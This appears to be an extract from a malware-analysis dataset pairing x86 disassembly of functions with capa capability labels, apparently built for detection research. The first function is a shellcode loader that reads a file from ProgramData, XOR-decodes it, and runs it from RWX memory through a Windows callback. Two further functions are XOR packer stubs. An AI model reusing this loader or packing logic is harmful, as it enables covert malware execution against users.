joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xad3e8
call fcn.10005920
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
push str.C:ProgramData_afd.bin
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 0
lea ecx, [ebp - 0xad3e8]
push ecx
push eax
lea edx, [ebp - 0xad3e4]
push edx
push esi
mov dword [ebp - 0xad3e8], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
jmp 0x10001070
xor byte [ebp + eax - 0xad3e4], 0x69
inc eax
cmp eax, 0xad3e0
jne 0x10001070
push 0x40
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0xad3e0
lea eax, [ebp - 0xad3e4]
push eax
push esi
call fcn.10001120
add esp, 0xc
push esi
push 0
push 0
push 0x10000
call dword [sym.imp.CRYPT32.dll_CertEnumSystemStore]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10001108
mov esp, ebp
pop ebp
ret

Function at 0x10001108
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x10001112
repz ret
jmp fcn.100016fe
Function at 0x1000537a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.10001917
and dword [ebp - 0x14], 0
cmp dword [0x1000a784], 0
mov dword [ebp - 0x18], eax
jne 0x1000542d
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x100054d5
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x100054d5
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1000a784], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1000a788], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1000a78c], eax
call edi
push eax
call esi
mov dword [0x1000a794], eax
test eax, eax
je 0x1000542d
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1000a790], eax
mov eax, dword [0x1000a790]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10005486
cmp dword [0x1000a794], ecx
je 0x10005486
push eax
call esi
push dword [0x1000a794]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10005486
test ebx, ebx
je 0x10005486
call edi
test eax, eax
je 0x1000547d
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x1000547d
test byte [ebp - 8], 1
jne 0x10005486
or dword [ebp + 0x10], 0x200000
jmp 0x100054b9
mov eax, dword [0x1000a788]
cmp eax, dword [ebp - 0x18]
je 0x100054b9
push eax
call esi
test eax, eax
je 0x100054b9
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100054b9
mov eax, dword [0x1000a78c]
cmp eax, dword [ebp - 0x18]
je 0x100054b9
push eax
call esi
test eax, eax
je 0x100054b9
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1000a784]
call esi
test eax, eax
je 0x100054d5
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x100054d7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001108
leave
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x5808483e
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x62d874e4
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
jne 0x43106c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x10039a0
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x390]
sub esp, 0x410
mov eax, dword [0x100b660]
push 0x100b680
push dword [ebp + 0x39c]
mov dword [ebp + 0x38c], eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x1003a95
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 1
call esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 0x39c]
mov dword [ebp - 0x80], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1003a8e
push 0
lea eax, [ebp - 0x7c]
push eax
push 0x400
lea eax, [ebp - 0x74]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jle 0x1003a87
cmp dword [ebp - 0x7c], 0
je 0x1003a87
push dword [ebp - 0x7c]
lea eax, [ebp - 0x74]
push eax
call fcn.01004754
cmp eax, 0xffffffff
mov dword [0x100b080], eax
je 0x1003a72
mov eax, dword [ebp + 0x398]
mov ecx, dword [eax]
lea edx, [ebp - 0x78]
push edx
push 0x1001808
push eax
call dword [ecx]
test eax, eax
jl 0x1003a72
push dword [0x100b080]
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x5c]
mov eax, dword [ebp - 0x78]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [ebp + 0x39c]
push 0x104
push 0x100b680
call fcn.01003887
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x80]
call esi
pop esi
pop ebx
mov ecx, dword [ebp + 0x38c]
xor eax, eax
call fcn.01008caa
add ebp, 0x390
leave
ret 8

Function at 0x1003b31
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push 2
lea eax, [ebp - 4]
push eax
push 0xd
push 0x400
mov dword [0x100c544], 0x1007c55
mov dword [0x100c54c], 0xc
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
cmp word [ebp - 4], 0x31
jne 0x1003b83
mov eax, 0x3e8
mov dword [0x100c530], eax
mov dword [0x100c538], eax
mov dword [0x100c510], 0xa006
mov eax, 0x2ee
jmp 0x1003ba1
mov eax, 0x9c4
mov dword [0x100c530], eax
mov dword [0x100c538], eax
mov dword [0x100c510], 0xa00a
mov eax, 0x7d0
mov dword [0x100c534], eax
mov dword [0x100c52c], eax
leave
ret
Function at 0x100419b
Capabilities:
Open clipboard

Disassembly:
sub esp, 0x10
and dword [esp + 4], 0
push ebx
push ebp
push esi
push edi
push dword [0x100ba98]
call dword [sym.imp.USER32.dll_GetMenu]
mov ebx, eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
push 0xb0
push dword [0x100baa0]
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [esp + 0x18]
mov esi, dword [sym.imp.USER32.dll_GetSubMenu]
xor eax, eax
cmp ecx, dword [esp + 0x1c]
sete al
xor ebp, ebp
inc ebp
push eax
push 0x300
push ebp
push ebx
mov dword [esp + 0x20], eax
call esi
mov edi, dword [sym.imp.USER32.dll_EnableMenuItem]
push eax
call edi
push dword [esp + 0x10]
push 0x301
push ebp
push ebx
call esi
push eax
call edi
push dword [esp + 0x10]
push 0x303
push ebp
push ebx
call esi
push eax
call edi
push 0
push 0x19
push ebp
push ebx
call esi
push eax
call dword [sym.imp.USER32.dll_GetMenuState]
cmp eax, ebp
jne 0x1004241
cmp dword [esp + 0x10], ebp
jne 0x1004241
push 0
push 0x19
push ebp
push ebx
call esi
push eax
call edi
push dword [esp + 0x24]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x1004260
push ebp
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
mov dword [esp + 0x14], eax
call dword [sym.imp.USER32.dll_CloseClipboard]
xor eax, eax
cmp dword [esp + 0x14], eax
sete al
push eax
push 0x302
push ebp
push ebx
call esi
push eax
call edi
push 0
push 0
push 0xe
push dword [0x100baa0]
mov dword [esp + 0x20], ebp
call dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
je 0x1004295
and dword [esp + 0x10], 0
push dword [esp + 0x10]
push 0x15
push ebp
push ebx
call esi
push eax
call edi
push dword [esp + 0x10]
push 0x16
push ebp
push ebx
call esi
push eax
call edi
xor eax, eax
cmp dword [0x100bab8], eax
setne al
push eax
push 0x18
push ebp
push ebx
call esi
push eax
call edi
push 0
push 0
push 0xc6
push dword [0x100baa0]
call dword [sym.imp.USER32.dll_SendMessageW]
xor ecx, ecx
test eax, eax
sete cl
push ecx
push 0x10
push ebp
push ebx
call esi
push eax
call edi
mov eax, dword [0x100bab8]
neg eax
sbb eax, eax
and eax, 8
push eax
push 0x20
push 2
push ebx
call esi
mov edi, dword [sym.imp.USER32.dll_CheckMenuItem]
push eax
call edi
mov eax, dword [0x100baa8]
neg eax
sbb eax, eax
and eax, 8
push eax
push 0x1b
push 3
push ebx
call esi
push eax
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 4
Function at 0x1004988
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 2
xor esi, esi
push esi
mov edi, eax
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jl 0x1004a83
push ebx
push dword [ebp + 0x14]
push edi
call fcn.0100402c
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.010063a3
test eax, eax
je 0x1004a79
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 0x1004155
push esi
mov eax, 0x800b
push eax
push eax
call dword [sym.imp.USER32.dll_SetWinEventHook]
mov edi, dword [sym.imp.USER32.dll_GetMessageW]
mov ebx, eax
jmp 0x1004a4e
cmp dword [ebp - 0x18], 0x50
jne 0x1004a08
push esi
push esi
push 0x8001
push dword [0x100ba98]
call dword [sym.imp.USER32.dll_PostMessageW]
mov eax, dword [0x100baa4]
cmp eax, esi
je 0x1004a20
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.USER32.dll_IsDialogMessageW]
test eax, eax
jne 0x1004a4e
lea eax, [ebp - 0x1c]
push eax
push dword [0x100c738]
push dword [0x100ba98]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x1004a4e
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push esi
push esi
push esi
lea eax, [ebp - 0x1c]
push eax
call edi
test eax, eax
jne 0x10049ef
call fcn.01003b02
push dword [0x100cbec]
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp ebx, esi
je 0x1004a7c
push ebx
call dword [sym.imp.USER32.dll_UnhookWinEvent]
jmp 0x1004a7c
mov dword [ebp - 0x14], esi
call dword [sym.imp.ole32.dll_CoUninitialize]
pop ebx
mov eax, dword [ebp - 0x14]
pop edi
pop esi
leave
ret 0x10
Function at 0x1004a8c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c8
mov eax, dword [0x100b660]
and word [ebp - 0x104], 0
push esi
mov esi, dword [ebp + 8]
push edi
push 0x3f
mov dword [ebp - 4], eax
pop ecx
push dword [0x100b090]
xor eax, eax
lea edi, [ebp - 0x102]
rep stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x1004ae3
push dword [0x100b090]
lea eax, [ebp - 0x370]
push 0x136
push eax
call fcn.01003887
jmp 0x1004b49
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea eax, [ebp - 0x7c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x1004b21
lea eax, [ebp - 0x79c]
push eax
mov esi, 0x104
push esi
lea eax, [ebp - 0x578]
push eax
call fcn.01003887
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x1004b34
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x578]
push eax
call fcn.01003887
push esi
lea eax, [ebp - 0x370]
push eax
lea eax, [ebp - 0x578]
push eax
call dword [sym.imp.COMDLG32.dll_GetFileTitleW]
push 1
push 1
push dword [0x100b118]
lea eax, [ebp - 0x104]
push 0x7f
push eax
call dword [sym.imp.msvcrt.dll__snwprintf]
mov eax, dword [0x100ba9c]
add esp, 0x14
test eax, eax
pop edi
pop esi
je 0x1004b85
lea ecx, [ebp - 0x104]
push ecx
push 1
push 0x40b
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push dword [0x100b094]
lea eax, [ebp - 0x370]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x370]
push eax
push dword [0x100ba98]
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov ecx, dword [ebp - 4]
call fcn.01008caa
leave
ret 4

Function at 0x100581f
Capabilities:
Set registry value

Disassembly:
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push dword [esp + 0x10]
push 1
push 0
push dword [esp + 0x18]
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
ret 0xc

Function at 0x1005847
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 4
je 0x1005889
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1005889
cmp dword [ebp - 4], 4
je 0x100588e
mov eax, dword [ebp + 0x10]
jmp 0x1005891
mov eax, dword [ebp - 8]
leave
ret 0xc
Function at 0x10060a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x18]
add esi, esi
cmp dword [ebp + 8], 0
push edi
mov edi, dword [ebp + 0x14]
mov dword [ebp + 0x18], esi
je 0x10060d7
lea eax, [ebp + 0x18]
push eax
push edi
lea eax, [ebp + 8]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10060d7
cmp dword [ebp + 8], 1
je 0x10060ea
mov ecx, esi
mov esi, dword [ebp + 0x10]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebp
ret 0x14
Function at 0x1006971
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jbe 0x1006999
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push ebx
movzx dx, byte [eax + 1]
xor ebx, ebx
mov bh, byte [eax]
xor edx, ebx
mov word [ecx], dx
inc ecx
inc ecx
inc eax
inc eax
dec esi
jne 0x1006983
pop ebx
pop esi
ret 0xc

Function at 0x100699d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [ebp + 0x18], ebx
jne 0x10069b3
xor eax, eax
inc eax
jmp 0x1006a41
cmp dword [ebp + 0xc], 0xfde9
mov dword [ebp - 4], ebx
je 0x10069c5
lea eax, [ebp - 0xc]
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
push dword [ebp - 4]
push ebx
push ebx
push ebx
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
mov edi, eax
cmp edi, ebx
je 0x1006a02
lea eax, [edi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x1006a06
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x1006a3f
push dword [ebp - 4]
push ebx
push edi
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
mov esi, eax
cmp esi, ebx
je 0x1006a34
push ebx
lea eax, [ebp - 0x10]
push eax
push edi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x1008caa
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100b660]
jne 0x1008cb3
ret
jmp 0x1008cb8
push ebp
lea ebp, [esp - 0x2a8]
sub esp, 0x328
mov eax, dword [0x100b660]
mov dword [ebp + 0x2a4], eax
mov eax, dword [0x100cbfc]
test eax, eax
je 0x1008cdc
call eax
cmp dword [0x100cc00], 0
je 0x1008d23
push edi
xor eax, eax
and dword [ebp - 0x28], eax
push 0x13
pop ecx
lea edi, [ebp - 0x7c]
rep stosd dword es:[edi], eax
mov ecx, 0xb2
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x28]
push 0
mov dword [ebp - 0x80], 0xc0000409
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x30]
push eax
call dword [0x100cc00]
pop edi
push 0x502
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp + 0x2a4]
call fcn.01008caa
add ebp, 0x2a8
leave
ret

Function at 0x1008db4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push edi
push 0xe
pop ecx
xor eax, eax
lea edi, [ebp - 0x38]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], 0x3c
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x2c], 0x1003728
call sub.SHELL32.dll_ShellExecuteExW
test eax, eax
pop edi
je 0x1008dec
xor eax, eax
leave
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.01008d9f
leave
ret
Function at 0x1008dfa
Capabilities:
Parse pe header
Terminate process

Disassembly:
push 0x70
push 0x1009088
call fcn.01008ff8
xor ebx, ebx
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
or edi, 0xffffffff
mov dword [ebp - 4], edi
cmp word [0x1000000], 0x5a4d
jne 0x1008e4e
mov eax, dword [0x100003c]
cmp dword [eax + 0x1000000], 0x4550
jne 0x1008e4e
movzx ecx, word [eax + 0x1000018]
cmp ecx, 0x10b
je 0x1008e66
cmp ecx, 0x20b
je 0x1008e53
mov dword [ebp - 0x1c], ebx
jmp 0x1008e7d
cmp dword [eax + 0x1000084], 0xe
jbe 0x1008e4e
xor ecx, ecx
cmp dword [eax + 0x10000f8], ebx
jmp 0x1008e77
cmp dword [eax + 0x1000074], 0xe
jbe 0x1008e4e
xor ecx, ecx
cmp dword [eax + 0x10000e8], ebx
setne cl
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 1
push 2
call dword [sym.imp.msvcrt.dll___set_app_type]
pop ecx
mov dword [0x100cc04], edi
mov dword [0x100cc08], edi
call dword [sym.imp.msvcrt.dll___p__fmode]
mov ecx, dword [0x100bb08]
mov dword [eax], ecx
call dword [sym.imp.msvcrt.dll___p__commode]
mov ecx, dword [0x100bb04]
mov dword [eax], ecx
mov eax, dword [sym.imp.msvcrt.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x100cc0c], eax
call fcn.01009062
cmp dword [0x100b670], ebx
jne 0x1008eda
push fcn.01009062
call dword [sym.imp.msvcrt.dll___setusermatherr]
pop ecx
call fcn.01009050
push 0x100b010
push 0x100b00c
call sub.msvcrt.dll__initterm
mov eax, dword [0x100bb00]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
push eax
push dword [0x100bafc]
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.msvcrt.dll___getmainargs]
mov dword [ebp - 0x38], eax
push 0x100b008
push section..data
call sub.msvcrt.dll__initterm
add esp, 0x24
mov eax, dword [sym.imp.msvcrt.dll__acmdln]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
cmp byte [eax], 0x22
jne 0x1008f65
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x1008f45
cmp cl, 0x22
jne 0x1008f36
cmp byte [eax], 0x22
jne 0x1008f4e
inc eax
mov dword [ebp - 0x20], eax
mov cl, byte [eax]
cmp cl, bl
je 0x1008f59
cmp cl, 0x20
jbe 0x1008f4a
test byte [ebp - 0x54], 1
je 0x1008f70
movzx ecx, word [ebp - 0x50]
jmp 0x1008f73
cmp byte [eax], 0x20
jbe 0x1008f4e
inc eax
mov dword [ebp - 0x20], eax
jmp 0x1008f65
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x1000000
call fcn.01004988
mov esi, eax
mov dword [ebp - 0x3c], esi
cmp dword [ebp - 0x1c], ebx
jne 0x1008f91
push esi
call dword [sym.imp.msvcrt.dll_exit]
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], edi
jmp 0x1008fcd
mov eax, esi
jmp 0x1008fe1
call fcn.01009033
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x4d781f0c
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x432060
mov eax, section..text_1
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4320d2
nop
mov ebx, 0x42f314
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x6f200ed0
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4045e0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41a5d4
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x424600]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.00405330
xor edi, edi
lea ecx, [esi + 8]
mov dword [ebp - 4], edi
mov dword [esi], vtable.CGridCell.0
call dword [sym.imp.mfc100.dll_Ordinal_316]
mov ecx, esi
mov byte [ebp - 4], 1
mov dword [esi + 0x20], edi
call fcn.00404d40
lea ecx, [esi + 8]
call dword [sym.imp.mfc100.dll_Ordinal_3839]
or eax, 0xffffffff
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x24], eax
mov eax, dword [esi + 0x20]
mov ecx, 0xff000000
push eax
mov dword [esi + 0xc], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x18], ecx
call sub.mfc100.dll_Ordinal_1296
add esp, 4
mov dword [esi + 0x20], edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406a00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
mov eax, dword [0x424600]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x118]
push eax
mov dword [ebp - 0x11c], 3
mov dword [ebp - 0x118], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x406a71
cmp dword [ebp - 0x108], 1
jne 0x406a4a
cmp dword [ebp - 0x110], 0
je 0x406a71
push 0
lea ecx, [ebp - 0x11c]
push ecx
push 0
push 0x68
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004196ce
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x120]
push edx
push 1
push 0
push str.Control_PanelDesktop
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406aed
lea eax, [ebp - 0x124]
push eax
mov eax, dword [ebp - 0x120]
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x128]
push edx
push 0
push str.WheelScrollLines
push eax
mov dword [ebp - 0x124], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406ae0
push 0xa
push eax
lea ecx, [ebp - 0x84]
push ecx
call dword [sym.imp.MSVCR100.dll_strtoul]
add esp, 0xc
mov dword [ebp - 0x11c], eax
mov edx, dword [ebp - 0x120]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x11c]
xor ecx, ebp
call fcn.004196ce
mov esp, ebp
pop ebp
ret